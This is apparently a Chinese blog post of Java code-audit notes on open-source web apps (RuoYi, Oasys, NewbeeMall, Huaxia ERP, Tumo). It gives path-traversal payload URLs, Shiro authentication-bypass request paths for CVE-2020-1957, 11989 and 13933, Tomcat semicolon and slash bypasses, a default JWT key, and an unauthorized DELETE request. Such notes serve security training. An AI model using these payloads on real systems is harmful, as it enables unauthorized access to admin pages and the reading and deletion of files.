后台存在文件上传 图片 根据路由找到代码段 发现未经过任何过滤 图片 图片 案例3-文件下载-Ruoyi 搜:FileInputStream( writeBytes->resourceDownload->resource跟踪出路由:/common/download/resource?resource=/profile/../RuoYi-v4.5.0/ruoyi-admin/src/main/resources/application.yml 图片 必须包含:profile再../绕过 案例4-文件读取-Oasys 搜:new FileInputStream( image->f.getPath()->path->startpath图片 检测到2个../../会报错,但是一个../顺利执行,页面源码中对url中"/image"去除,所以可以嵌套../来实现路劲穿越读取flag ?path=/image/../image/../image/../image/../image/../image/../image/../image/../image/flag.txt 未授权访问 图片 1.鉴权方法: 1.Interceptor拦截器 src/main/java/包名/interceptor 2.filter过滤器 src/main/java/包名/filter 3.shiro框架 src/main/resource/** 1.shiro版本自身漏洞绕过 CVE-2020-1957 客户端请求URL: /xxx/..;/admin/ Shrio 内部处理得到校验URL为 /xxxx/..,校验通过 SpringBoot 处理 /xxx/..;/admin/ , 最终请求 /admin/, 成功访问了后台请求。 CVE-2020-11989 客户端请求URL: /;/test/admin/page Shrio 内部处理得到校验URL为/,校验通过 SpringBoot最终请求 /admin/page, 成功访问了后台请求。 CVE-2020-13933 客户端请求URL:/admin/;page Shrio 内部处理得到校验URL为/admin/,校验通过 SpringBoot最终请求 /admin/;page, 成功访问了后台请求。2.shiro配置不当 配置了允许匿名访问 tumo.shiro.anon_url=/comment/** DELETE /comment/1 任意文件删除4.jwt 采取默认key SecretKey0123456789012345678901234567890123456789012345678901234567892.绕过手法 1.分号;处理 tomcat会自动去除掉;后面的字符比如 /;a.png/admin==/admin /admin/;.png==/admin /admin/;.js==/admin /admin/;.css==/admin2.斜杆/处理 tomcat会自动处理多余的/比如 /////admin==/admin3../和../ tomcat会自动处理掉多的./ /;a.png/admin==/admin4.总结 黑名单绕过以/admin开头可以尝试 /;a.png/admin==/admin /////admin==/admin /;a.png/admin==/admin白名单匹配png,css,js结尾的文件放行可以尝试 /admin/;.png==/admin /admin/;.js==/admin /admin/;.css==/admin /user/list/;.css?search=%7B%22userName%22%3A%22%22%2C%22loginName%22%3A%22%22%7D¤tPage=1&pageSize=10目录穿越../ /..;abc/实现跨目录,常用在../被禁用的场景下白名单检测url中有js/css/png/login.html放行,则可以尝试目录穿越 /a.js/../account/getAccount /index.html/../account/getAccount3.案例 案例一:NewbeeMall使用Interceptor拦截器进行身份认证 图片 直接绕过:/admin/;.js 图片 使用Filter过滤器进行鉴权 案例二:华夏ERP-使用过滤器进行鉴权 图片 url中包含login.html,register.html就通过 图片 案例三-Tumo-Shiro做验证 shiro配置不当 tumo.shiro.anon_url=\ /login,/logout,/register,\ /,/about,/p/**,/links,/comment/**,/link/list,/article/list,\ /css/**,/js/**,/img/**可以访问/comment及comment后面任意路径如/comment/1 图片 delete方法删除 图片 ssti模板注入 图片 对应功能点:模板管理 利用条件:可控变量(传参,sql注入) 利用poc:https://github.com/vladko312/SSTImap JavaEE审计-CheckList https://mp.weixin.qq.com/s/Y90mGgCqzjj0T1NX9E5wDw https://mp.weixin.qq.com/s/COXCjMItvrcOCNcqEfbmDg
代码审计
admin
1年前
3
1,333
110
1
2
下一页
易航博客